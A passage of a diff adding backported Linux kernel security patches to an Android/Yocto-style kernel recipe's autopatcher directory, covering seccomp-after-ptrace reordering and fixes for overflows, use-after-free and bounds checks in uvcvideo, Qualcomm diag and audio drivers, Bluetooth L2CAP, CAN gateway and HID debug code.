SECCOMP_PHASE1_OK; +-#ifdef CONFIG_SECCOMP_FILTER ++ return 0; + case SECCOMP_MODE_FILTER: +- return __seccomp_phase1_filter(this_syscall, sd); +-#endif ++ return __seccomp_filter(this_syscall, sd); + default: + BUG(); + } + } +- +-/** +- * seccomp_phase2() - finish slow path seccomp work for the current syscall +- * @phase1_result: The return value from seccomp_phase1() +- * +- * This must be called from a context in which ptrace hooks can be used. +- * +- * Returns 0 if the syscall should be processed or -1 to skip the syscall. +- */ +-int seccomp_phase2(u32 phase1_result) +-{ +- struct pt_regs *regs = task_pt_regs(current); +- u32 action = phase1_result & SECCOMP_RET_ACTION; +- int data = phase1_result & SECCOMP_RET_DATA; +- +- BUG_ON(action != SECCOMP_RET_TRACE); +- +- audit_seccomp(syscall_get_nr(current, regs), 0, action); +- +- /* Skip these calls if there is no tracer. */ +- if (!ptrace_event_enabled(current, PTRACE_EVENT_SECCOMP)) { +- syscall_set_return_value(current, regs, +- -ENOSYS, 0); +- return -1; +- } +- +- /* Allow the BPF to provide the event message */ +- ptrace_event(PTRACE_EVENT_SECCOMP, data); +- /* +- * The delivery of a fatal signal during event +- * notification may silently skip tracer notification. +- * Terminating the task now avoids executing a system +- * call that may not be intended. +- */ +- if (fatal_signal_pending(current)) +- do_exit(SIGSYS); +- if (syscall_get_nr(current, regs) < 0) +- return -1; /* Explicit request to skip. */ +- +- return 0; +-} + #endif /* CONFIG_HAVE_ARCH_SECCOMP_FILTER */ + + long prctl_get_seccomp(void) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0492.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0492.diff new file mode 100644 index 0000000..f5c0e79 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0492.diff @@ -0,0 +1,60 @@ +diff --git a/kernel/seccomp.c b/kernel/seccomp.c +index 9a17ae2..98b48c2 100644 +--- a/kernel/seccomp.c ++++ b/kernel/seccomp.c +@@ -601,7 +601,8 @@ + #else + + #ifdef CONFIG_SECCOMP_FILTER +-static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd) ++static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd, ++ const bool recheck_after_trace) + { + u32 filter_ret, action; + int data; +@@ -633,6 +634,10 @@ + goto skip; + + case SECCOMP_RET_TRACE: ++ /* We've been put in this state by the ptracer already. */ ++ if (recheck_after_trace) ++ return 0; ++ + /* ENOSYS these calls if there is no tracer attached. */ + if (!ptrace_event_enabled(current, PTRACE_EVENT_SECCOMP)) { + syscall_set_return_value(current, +@@ -656,6 +661,15 @@ + if (this_syscall < 0) + goto skip; + ++ /* ++ * Recheck the syscall, since it may have changed. This ++ * intentionally uses a NULL struct seccomp_data to force ++ * a reload of all registers. This does not goto skip since ++ * a skip would have already been reported. ++ */ ++ if (__seccomp_filter(this_syscall, NULL, true)) ++ return -1; ++ + return 0; + + case SECCOMP_RET_ALLOW: +@@ -674,7 +688,8 @@ + return -1; + } + #else +-static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd) ++static int __seccomp_filter(int this_syscall, const struct seccomp_data *sd, ++ const bool recheck_after_trace) + { + BUG(); + } +@@ -693,7 +708,7 @@ + __secure_computing_strict(this_syscall); /* may call do_exit */ + return 0; + case SECCOMP_MODE_FILTER: +- return __seccomp_filter(this_syscall, sd); ++ return __seccomp_filter(this_syscall, sd, false); + default: + BUG(); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0493.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0493.diff new file mode 100644 index 0000000..71722af --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0493.diff @@ -0,0 +1,49 @@ +diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c +index cf7fa7d..883fe73 100644 +--- a/arch/x86/kernel/ptrace.c ++++ b/arch/x86/kernel/ptrace.c +@@ -1464,6 +1464,7 @@ + u32 arch = is_ia32_task() ? AUDIT_ARCH_I386 : AUDIT_ARCH_X86_64; + + unsigned long ret = 0; ++ bool emulated = false; + u32 work; + + BUG_ON(regs != task_pt_regs(current)); +@@ -1490,11 +1491,19 @@ + if (work & _TIF_SINGLESTEP) + regs->flags |= X86_EFLAGS_TF; + ++ if (unlikely(work & _TIF_SYSCALL_EMU)) ++ emulated = true; ++ ++ if ((emulated || (work & _TIF_SYSCALL_TRACE)) && ++ tracehook_report_syscall_entry(regs)) ++ return -1L; ++ ++ if (emulated) ++ return -1L; ++ + #ifdef CONFIG_SECCOMP + /* +- * Do seccomp first -- it should minimize exposure of other +- * code, and keeping seccomp fast is probably more valuable +- * than the rest of this. ++ * Do seccomp after ptrace, to catch any tracer changes. + */ + if (work & _TIF_SECCOMP) { + struct seccomp_data sd; +@@ -1527,13 +1536,6 @@ + } + #endif + +- if (unlikely(work & _TIF_SYSCALL_EMU)) +- ret = -1L; +- +- if ((ret || test_thread_flag(TIF_SYSCALL_TRACE)) && +- tracehook_report_syscall_entry(regs)) +- ret = -1L; +- + if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT))) + trace_sys_enter(regs, regs->orig_ax); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0494.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0494.diff new file mode 100644 index 0000000..3ed8ae4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0494.diff @@ -0,0 +1,29 @@ +diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c +index 1027d3b..ce131ed 100644 +--- a/arch/arm/kernel/ptrace.c ++++ b/arch/arm/kernel/ptrace.c +@@ -932,18 +932,19 @@ + { + current_thread_info()->syscall = scno; + +- /* Do the secure computing check first; failures should be fast. */ ++ if (test_thread_flag(TIF_SYSCALL_TRACE)) ++ tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER); ++ ++ /* Do seccomp after ptrace; syscall may have changed. */ + #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER + if (secure_computing(NULL) == -1) + return -1; + #else + /* XXX: remove this once OABI gets fixed */ +- secure_computing_strict(scno); ++ secure_computing_strict(current_thread_info()->syscall); + #endif + +- if (test_thread_flag(TIF_SYSCALL_TRACE)) +- tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER); +- ++ /* Tracer or seccomp may have changed syscall. */ + scno = current_thread_info()->syscall; + + if (test_thread_flag(TIF_SYSCALL_TRACEPOINT)) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0495.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0495.diff new file mode 100644 index 0000000..cdaebad --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0495.diff @@ -0,0 +1,22 @@ +diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c +index 4fe7eb2..acc808c 100644 +--- a/arch/arm64/kernel/ptrace.c ++++ b/arch/arm64/kernel/ptrace.c +@@ -1151,13 +1151,13 @@ + + asmlinkage int syscall_trace_enter(struct pt_regs *regs) + { +- /* Do the secure computing check first; failures should be fast. */ +- if (secure_computing(NULL) == -1) +- return -1; +- + if (test_thread_flag(TIF_SYSCALL_TRACE)) + tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER); + ++ /* Do the secure computing after ptrace; failures should be fast. */ ++ if (secure_computing(NULL) == -1) ++ return -1; ++ + if (test_thread_flag(TIF_SYSCALL_TRACEPOINT)) + trace_sys_enter(regs, regs->syscallno); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0496.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0496.diff new file mode 100644 index 0000000..5f5070d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0496.diff @@ -0,0 +1,25 @@ +diff --git a/kernel/seccomp.c b/kernel/seccomp.c +index 98b48c2..99bb873 100644 +--- a/kernel/seccomp.c ++++ b/kernel/seccomp.c +@@ -650,12 +650,16 @@ + ptrace_event(PTRACE_EVENT_SECCOMP, data); + /* + * The delivery of a fatal signal during event +- * notification may silently skip tracer notification. +- * Terminating the task now avoids executing a system +- * call that may not be intended. ++ * notification may silently skip tracer notification, ++ * which could leave us with a potentially unmodified ++ * syscall that the tracer would have liked to have ++ * changed. Since the process is about to die, we just ++ * force the syscall to be skipped and let the signal ++ * kill the process and correctly handle any tracer exit ++ * notifications. + */ + if (fatal_signal_pending(current)) +- do_exit(SIGSYS); ++ goto skip; + /* Check if the tracer forced the syscall to be skipped. */ + this_syscall = syscall_get_nr(current, task_pt_regs(current)); + if (this_syscall < 0) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0497-7828fe7452f1-media uvcvideo Fix type check leading to overflow.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0497-7828fe7452f1-media uvcvideo Fix type check leading to overflow.patch new file mode 100644 index 0000000..8b52083 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0497-7828fe7452f1-media uvcvideo Fix type check leading to overflow.patch @@ -0,0 +1,64 @@ +From 7828fe7452f151cc1107a5c28ed042aeb64c1166 Mon Sep 17 00:00:00 2001 +From: Alistair Strachan +Date: Tue, 18 Dec 2018 20:32:48 -0500 +Subject: media: uvcvideo: Fix 'type' check leading to overflow + +commit 47bb117911b051bbc90764a8bff96543cbd2005f upstream. + +When initially testing the Camera Terminal Descriptor wTerminalType +field (buffer[4]), no mask is used. Later in the function, the MSB is +overloaded to store the descriptor subtype, and so a mask of 0x7fff +is used to check the type. + +If a descriptor is specially crafted to set this overloaded bit in the +original wTerminalType field, the initial type check will fail (falling +through, without adjusting the buffer size), but the later type checks +will pass, assuming the buffer has been made suitably large, causing an +overflow. + +Avoid this problem by checking for the MSB in the wTerminalType field. +If the bit is set, assume the descriptor is bad, and abort parsing it. + +Originally reported here: +https://groups.google.com/forum/#!topic/syzkaller/Ot1fOE6v1d8 +A similar (non-compiling) patch was provided at that time. + +Reported-by: syzbot +Signed-off-by: Alistair Strachan +Signed-off-by: Laurent Pinchart +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/uvc/uvc_driver.c | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +diff --git a/drivers/media/usb/uvc/uvc_driver.c b/drivers/media/usb/uvc/uvc_driver.c +index 13d1090c2ba59..50e0c0320d490 100644 +--- a/drivers/media/usb/uvc/uvc_driver.c ++++ b/drivers/media/usb/uvc/uvc_driver.c +@@ -977,11 +977,19 @@ static int uvc_parse_standard_control(struct uvc_device *dev, + return -EINVAL; + } + +- /* Make sure the terminal type MSB is not null, otherwise it +- * could be confused with a unit. ++ /* ++ * Reject invalid terminal types that would cause issues: ++ * ++ * - The high byte must be non-zero, otherwise it would be ++ * confused with a unit. ++ * ++ * - Bit 15 must be 0, as we use it internally as a terminal ++ * direction flag. ++ * ++ * Other unknown types are accepted. + */ + type = get_unaligned_le16(&buffer[4]); +- if ((type & 0xff00) == 0) { ++ if ((type & 0x7f00) == 0 || (type & 0x8000) != 0) { + uvc_trace(UVC_TRACE_DESCR, "device %d videocontrol " + "interface %d INPUT_TERMINAL %d has invalid " + "type 0x%04x, skipping\n", udev->devnum, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0498-fad1f47e52a5-diag Fix possible usage of freed resource issue.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0498-fad1f47e52a5-diag Fix possible usage of freed resource issue.patch new file mode 100644 index 0000000..e0836dd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0498-fad1f47e52a5-diag Fix possible usage of freed resource issue.patch @@ -0,0 +1,84 @@ +From fad1f47e52a5ca16b1f0a22cbae121ef87aa8e2e Mon Sep 17 00:00:00 2001 +From: Mohit Aggarwal +Date: Fri, 28 Jul 2017 15:40:27 +0530 +Subject: diag: Fix possible usage of freed resource issue + +Currently, there is a possibility of using already +freed memory while client reads from diag driver. +The patch adds proper protection to fix the issue. + +CRs-Fixed: 2076623 +Change-Id: Ic946865ac79f2684c06176be64fd2f3abc6048f7 +Signed-off-by: Mohit Aggarwal +--- + drivers/char/diag/diagchar_core.c | 21 +++++++++++++++++---- + 1 file changed, 17 insertions(+), 4 deletions(-) + +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index 5cc4d8f..b2da662 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -3010,6 +3010,16 @@ static int diag_user_process_apps_data(const char __user *buf, int len, + return 0; + } + ++static int check_data_ready(int index) ++{ ++ int data_type = 0; ++ ++ mutex_lock(&driver->diagchar_mutex); ++ data_type = driver->data_ready[index]; ++ mutex_unlock(&driver->diagchar_mutex); ++ return data_type; ++} ++ + static ssize_t diagchar_read(struct file *file, char __user *buf, size_t count, + loff_t *ppos) + { +@@ -3022,9 +3032,11 @@ static ssize_t diagchar_read(struct file *file, char __user *buf, size_t count, + int write_len = 0; + struct diag_md_session_t *session_info = NULL; + ++ mutex_lock(&driver->diagchar_mutex); + for (i = 0; i < driver->num_clients; i++) + if (driver->client_map[i].pid == current->tgid) + index = i; ++ mutex_unlock(&driver->diagchar_mutex); + + if (index == -1) { + pr_err("diag: Client PID not found in table"); +@@ -3034,7 +3046,7 @@ static ssize_t diagchar_read(struct file *file, char __user *buf, size_t count, + pr_err("diag: bad address from user side\n"); + return -EFAULT; + } +- wait_event_interruptible(driver->wait_q, driver->data_ready[index]); ++ wait_event_interruptible(driver->wait_q, (check_data_ready(index)) > 0); + + mutex_lock(&driver->diagchar_mutex); + +@@ -3175,11 +3187,11 @@ static ssize_t diagchar_read(struct file *file, char __user *buf, size_t count, + } + + exit: +- mutex_unlock(&driver->diagchar_mutex); + if (driver->data_ready[index] & DCI_DATA_TYPE) { +- mutex_lock(&driver->dci_mutex); +- /* Copy the type of data being passed */ + data_type = driver->data_ready[index] & DCI_DATA_TYPE; ++ mutex_unlock(&driver->diagchar_mutex); ++ /* Copy the type of data being passed */ ++ mutex_lock(&driver->dci_mutex); + list_for_each_safe(start, temp, &driver->dci_client_list) { + entry = list_entry(start, struct diag_dci_client_tbl, + track); +@@ -3211,6 +3223,7 @@ exit: + mutex_unlock(&driver->dci_mutex); + goto end; + } ++ mutex_unlock(&driver->diagchar_mutex); + end: + /* + * Flush any read that is currently pending on DCI data and +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0499-165fffbf94f7-qdsp6v2 apr check for packet size to header size comparison.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0499-165fffbf94f7-qdsp6v2 apr check for packet size to header size comparison.patch new file mode 100644 index 0000000..4f60701 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0499-165fffbf94f7-qdsp6v2 apr check for packet size to header size comparison.patch @@ -0,0 +1,33 @@ +From 165fffbf94f706d0fd4b5bbb3675016b39e6c744 Mon Sep 17 00:00:00 2001 +From: Vatsal Bucha +Date: Fri, 1 Mar 2019 13:16:39 +0530 +Subject: qdsp6v2: apr: check for packet size to header size comparison + +Check if packet size is large enough to hold the header. + +Change-Id: I7261f8111d8b5f4f7c181e469de248a732242d64 +Signed-off-by: Vatsal Bucha +--- + drivers/soc/qcom/qdsp6v2/apr.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/soc/qcom/qdsp6v2/apr.c b/drivers/soc/qcom/qdsp6v2/apr.c +index b1afd02b..8f54087 100644 +--- a/drivers/soc/qcom/qdsp6v2/apr.c ++++ b/drivers/soc/qcom/qdsp6v2/apr.c +@@ -584,6 +584,12 @@ void apr_cb_func(void *buf, int len, void *priv) + pr_err("APR: Wrong paket size\n"); + return; + } ++ ++ if (hdr->pkt_size < hdr_size) { ++ pr_err("APR: Packet size less than header size\n"); ++ return; ++ } ++ + msg_type = hdr->hdr_field; + msg_type = (msg_type >> 0x08) & 0x0003; + if (msg_type >= APR_MSG_TYPE_MAX && msg_type != APR_BASIC_RSP_RESULT) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0500-e991225bf945-dsp codecs fix range check for audio buffer copying.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0500-e991225bf945-dsp codecs fix range check for audio buffer copying.patch new file mode 100644 index 0000000..b958080 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0500-e991225bf945-dsp codecs fix range check for audio buffer copying.patch @@ -0,0 +1,38 @@ +From e991225bf94577157e5301b21fef1d4e233b5ac9 Mon Sep 17 00:00:00 2001 +From: Xiaoyu Ye +Date: Sun, 3 Mar 2019 21:14:10 -0800 +Subject: dsp: codecs: fix range check for audio buffer copying + +The range checking for audio buffer copying in function +"audio_in_write" is using the incorrect buffer size. +Change it to the actual allocated audio buffer size. + +Change-Id: Ib7aaa2163c0d99161369eb85d09dc2d23d8c787b +Signed-off-by: Xiaoyu Ye +--- + drivers/misc/qcom/qdsp6v2/audio_utils.c | 5 ++--- + 1 file changed, 2 insertions(+), 3 deletions(-) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_utils.c b/drivers/misc/qcom/qdsp6v2/audio_utils.c +index 15d82d1..af95dae 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_utils.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_utils.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2010-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2010-2016, 2019 The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -879,8 +879,7 @@ ssize_t audio_in_write(struct file *file, + __func__, audio->ac->session); + } + } +- xfer = (count > (audio->pcm_cfg.buffer_size)) ? +- (audio->pcm_cfg.buffer_size) : count; ++ xfer = (count > size) ? size : count; + + if (copy_from_user(cpy_ptr, buf, xfer)) { + rc = -EFAULT; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0501-8fe29c70d28c-msm jpegdma Fix for ASAN issues in jpegdma module.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0501-8fe29c70d28c-msm jpegdma Fix for ASAN issues in jpegdma module.patch new file mode 100644 index 0000000..ad50217 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0501-8fe29c70d28c-msm jpegdma Fix for ASAN issues in jpegdma module.patch @@ -0,0 +1,50 @@ +From 8fe29c70d28c6f5a2adcdf24987cc6d431372d8f Mon Sep 17 00:00:00 2001 +From: annamraj +Date: Wed, 22 Nov 2017 12:21:01 +0530 +Subject: msm: jpegdma: Fix for ASAN issues in jpegdma module + +Adding Lock mechanism to avoid concurrency issues between reqbufs +and streamoff calls. + +Change-Id: I955b30a7d05554366df3a2e6c44fc21c5367b2c2 +Signed-off-by: annamraj +--- + .../media/platform/msm/camera_v2/jpeg_dma/msm_jpeg_dma_dev.c | 11 +++++++---- + 1 file changed, 7 insertions(+), 4 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/jpeg_dma/msm_jpeg_dma_dev.c b/drivers/media/platform/msm/camera_v2/jpeg_dma/msm_jpeg_dma_dev.c +index 7f6e787..ba64433 100644 +--- a/drivers/media/platform/msm/camera_v2/jpeg_dma/msm_jpeg_dma_dev.c ++++ b/drivers/media/platform/msm/camera_v2/jpeg_dma/msm_jpeg_dma_dev.c +@@ -816,9 +816,12 @@ static int msm_jpegdma_s_fmt_vid_out(struct file *file, + static int msm_jpegdma_reqbufs(struct file *file, + void *fh, struct v4l2_requestbuffers *req) + { ++ int ret = 0; + struct jpegdma_ctx *ctx = msm_jpegdma_ctx_from_fh(fh); +- +- return v4l2_m2m_reqbufs(file, ctx->m2m_ctx, req); ++ mutex_lock(&ctx->lock); ++ ret = v4l2_m2m_reqbufs(file, ctx->m2m_ctx, req); ++ mutex_unlock(&ctx->lock); ++ return ret; + } + + /* +@@ -925,11 +928,11 @@ static int msm_jpegdma_streamoff(struct file *file, + { + struct jpegdma_ctx *ctx = msm_jpegdma_ctx_from_fh(fh); + int ret; +- ++ mutex_lock(&ctx->lock); + ret = v4l2_m2m_streamoff(file, ctx->m2m_ctx, buf_type); + if (ret < 0) + dev_err(ctx->jdma_device->dev, "Stream off fails\n"); +- ++ mutex_unlock(&ctx->lock); + return ret; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0502-ac7c597c465e-Bluetooth Verify that l2capgetconfopt provides large enough.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0502-ac7c597c465e-Bluetooth Verify that l2capgetconfopt provides large enough.patch new file mode 100644 index 0000000..05068f6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0502-ac7c597c465e-Bluetooth Verify that l2capgetconfopt provides large enough.patch @@ -0,0 +1,67 @@ +From ac7c597c465eb09391e40febbe088bdad601080b Mon Sep 17 00:00:00 2001 +From: Marcel Holtmann +Date: Fri, 18 Jan 2019 13:43:19 +0100 +Subject: Bluetooth: Verify that l2cap_get_conf_opt provides large enough + buffer + +commit 7c9cbd0b5e38a1672fcd137894ace3b042dfbf69 upstream. + +The function l2cap_get_conf_opt will return L2CAP_CONF_OPT_SIZE + opt->len +as length value. The opt->len however is in control over the remote user +and can be used by an attacker to gain access beyond the bounds of the +actual packet. + +To prevent any potential leak of heap memory, it is enough to check that +the resulting len calculation after calling l2cap_get_conf_opt is not +below zero. A well formed packet will always return >= 0 here and will +end with the length value being zero after the last option has been +parsed. In case of malformed packets messing with the opt->len field the +length value will become negative. If that is the case, then just abort +and ignore the option. + +In case an attacker uses a too short opt->len value, then garbage will +be parsed, but that is protected by the unknown option handling and also +the option parameter size checks. + +Signed-off-by: Marcel Holtmann +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Johan Hedberg +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/l2cap_core.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 9328139856857..2b7f4e937ca78 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -3290,6 +3290,8 @@ static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data + + while (len >= L2CAP_CONF_OPT_SIZE) { + len -= l2cap_get_conf_opt(&req, &type, &olen, &val); ++ if (len < 0) ++ break; + + hint = type & L2CAP_CONF_HINT; + type &= L2CAP_CONF_MASK; +@@ -3508,6 +3510,8 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + + while (len >= L2CAP_CONF_OPT_SIZE) { + len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); ++ if (len < 0) ++ break; + + switch (type) { + case L2CAP_CONF_MTU: +@@ -3693,6 +3697,8 @@ static void l2cap_conf_rfc_get(struct l2cap_chan *chan, void *rsp, int len) + + while (len >= L2CAP_CONF_OPT_SIZE) { + len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); ++ if (len < 0) ++ break; + + switch (type) { + case L2CAP_CONF_RFC: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0503-4c3b21c842de-can gw ensure DLC boundaries after CAN frame modification.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0503-4c3b21c842de-can gw ensure DLC boundaries after CAN frame modification.patch new file mode 100644 index 0000000..e92decc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0503-4c3b21c842de-can gw ensure DLC boundaries after CAN frame modification.patch @@ -0,0 +1,93 @@ +From 4c3b21c842deb09721015a8463087e3c262be385 Mon Sep 17 00:00:00 2001 +From: Oliver Hartkopp +Date: Fri, 4 Jan 2019 15:55:26 +0100 +Subject: can: gw: ensure DLC boundaries after CAN frame modification + +commit 0aaa81377c5a01f686bcdb8c7a6929a7bf330c68 upstream. + +Muyu Yu provided a POC where user root with CAP_NET_ADMIN can create a CAN +frame modification rule that makes the data length code a higher value than +the available CAN frame data size. In combination with a configured checksum +calculation where the result is stored relatively to the end of the data +(e.g. cgw_csum_xor_rel) the tail of the skb (e.g. frag_list pointer in +skb_shared_info) can be rewritten which finally can cause a system crash. + +Michael Kubecek suggested to drop frames that have a DLC exceeding the +available space after the modification process and provided a patch that can +handle CAN FD frames too. Within this patch we also limit the length for the +checksum calculations to the maximum of Classic CAN data length (8). + +CAN frames that are dropped by these additional checks are counted with the +CGW_DELETED counter which indicates misconfigurations in can-gw rules. + +This fixes CVE-2019-3701. + +Reported-by: Muyu Yu +Reported-by: Marcus Meissner +Suggested-by: Michal Kubecek +Tested-by: Muyu Yu +Tested-by: Oliver Hartkopp +Signed-off-by: Oliver Hartkopp +Cc: linux-stable # >= v3.2 +Signed-off-by: Marc Kleine-Budde +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/can/gw.c | 30 +++++++++++++++++++++++++++--- + 1 file changed, 27 insertions(+), 3 deletions(-) + +diff --git a/net/can/gw.c b/net/can/gw.c +index d4921582d3bd7..4ccaf10bb6581 100644 +--- a/net/can/gw.c ++++ b/net/can/gw.c +@@ -417,13 +417,29 @@ static void can_can_gw_rcv(struct sk_buff *skb, void *data) + while (modidx < MAX_MODFUNCTIONS && gwj->mod.modfunc[modidx]) + (*gwj->mod.modfunc[modidx++])(cf, &gwj->mod); + +- /* check for checksum updates when the CAN frame has been modified */ ++ /* Has the CAN frame been modified? */ + if (modidx) { +- if (gwj->mod.csumfunc.crc8) ++ /* get available space for the processed CAN frame type */ ++ int max_len = nskb->len - offsetof(struct can_frame, data); ++ ++ /* dlc may have changed, make sure it fits to the CAN frame */ ++ if (cf->can_dlc > max_len) ++ goto out_delete; ++ ++ /* check for checksum updates in classic CAN length only */ ++ if (gwj->mod.csumfunc.crc8) { ++ if (cf->can_dlc > 8) ++ goto out_delete; ++ + (*gwj->mod.csumfunc.crc8)(cf, &gwj->mod.csum.crc8); ++ } ++ ++ if (gwj->mod.csumfunc.xor) { ++ if (cf->can_dlc > 8) ++ goto out_delete; + +- if (gwj->mod.csumfunc.xor) + (*gwj->mod.csumfunc.xor)(cf, &gwj->mod.csum.xor); ++ } + } + + /* clear the skb timestamp if not configured the other way */ +@@ -435,6 +451,14 @@ static void can_can_gw_rcv(struct sk_buff *skb, void *data) + gwj->dropped_frames++; + else + gwj->handled_frames++; ++ ++ return; ++ ++ out_delete: ++ /* delete frame due to misconfiguration */ ++ gwj->deleted_frames++; ++ kfree_skb(nskb); ++ return; + } + + static inline int cgw_register_filter(struct cgw_job *gwj) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0504-be120f656b4f-HID debug fix the ring buffer implementation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0504-be120f656b4f-HID debug fix the ring buffer implementation.patch new file mode 100644 index 0000000..9399849 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0504-be120f656b4f-HID debug fix the ring buffer implementation.patch @@ -0,0 +1,279 @@ +From be120f656b4f3f71d9d82d52d5604e2fb1fb9a94 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Tue, 29 Jan 2019 11:58:35 +0100 +Subject: HID: debug: fix the ring buffer implementation + +commit 13054abbaa4f1fd4e6f3b4b63439ec033b4c8035 upstream. + +Ring buffer implementation in hid_debug_event() and hid_debug_events_read() +is strange allowing lost or corrupted data. After commit 717adfdaf147 +("HID: debug: check length before copy_to_user()") it is possible to enter +an infinite loop in hid_debug_events_read() by providing 0 as count, this +locks up a system. Fix this by rewriting the ring buffer implementation +with kfifo and simplify the code. + +This fixes CVE-2019-3819. + +v2: fix an execution logic and add a comment +v3: use __set_current_state() instead of set_current_state() + +Backport to v3.18: some (tree-wide) patches are missing in v3.18 so +cherry-pick relevant pieces from: + * 6396bb221514 ("treewide: kzalloc() -> kcalloc()") + * a9a08845e9ac ("vfs: do bulk POLL* -> EPOLL* replacement") + * 92529623d242 ("HID: debug: improve hid_debug_event()") + * 174cd4b1e5fb ("sched/headers: Prepare to move signal wakeup & sigpending + methods from into ") + * 8fec02a73e31 ("HID: debug: fix error handling in hid_debug_events_read()") + + +Link: https://bugzilla.redhat.com/show_bug.cgi?id=1669187 +Cc: stable@vger.kernel.org # v4.18+ +Fixes: cd667ce24796 ("HID: use debugfs for events/reports dumping") +Fixes: 717adfdaf147 ("HID: debug: check length before copy_to_user()") +Signed-off-by: Vladis Dronov +Reviewed-by: Oleg Nesterov +Signed-off-by: Benjamin Tissoires +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-debug.c | 121 ++++++++++++++++++---------------------------- + include/linux/hid-debug.h | 9 ++-- + 2 files changed, 52 insertions(+), 78 deletions(-) + +diff --git a/drivers/hid/hid-debug.c b/drivers/hid/hid-debug.c +index 7192fa1d2786c..e930627d0c76c 100644 +--- a/drivers/hid/hid-debug.c ++++ b/drivers/hid/hid-debug.c +@@ -30,6 +30,7 @@ + + #include + #include ++#include + #include + #include + #include +@@ -454,7 +455,7 @@ static char *resolv_usage_page(unsigned page, struct seq_file *f) { + char *buf = NULL; + + if (!f) { +- buf = kzalloc(sizeof(char) * HID_DEBUG_BUFSIZE, GFP_ATOMIC); ++ buf = kzalloc(HID_DEBUG_BUFSIZE, GFP_ATOMIC); + if (!buf) + return ERR_PTR(-ENOMEM); + } +@@ -658,17 +659,12 @@ EXPORT_SYMBOL_GPL(hid_dump_device); + /* enqueue string to 'events' ring buffer */ + void hid_debug_event(struct hid_device *hdev, char *buf) + { +- int i; + struct hid_debug_list *list; + unsigned long 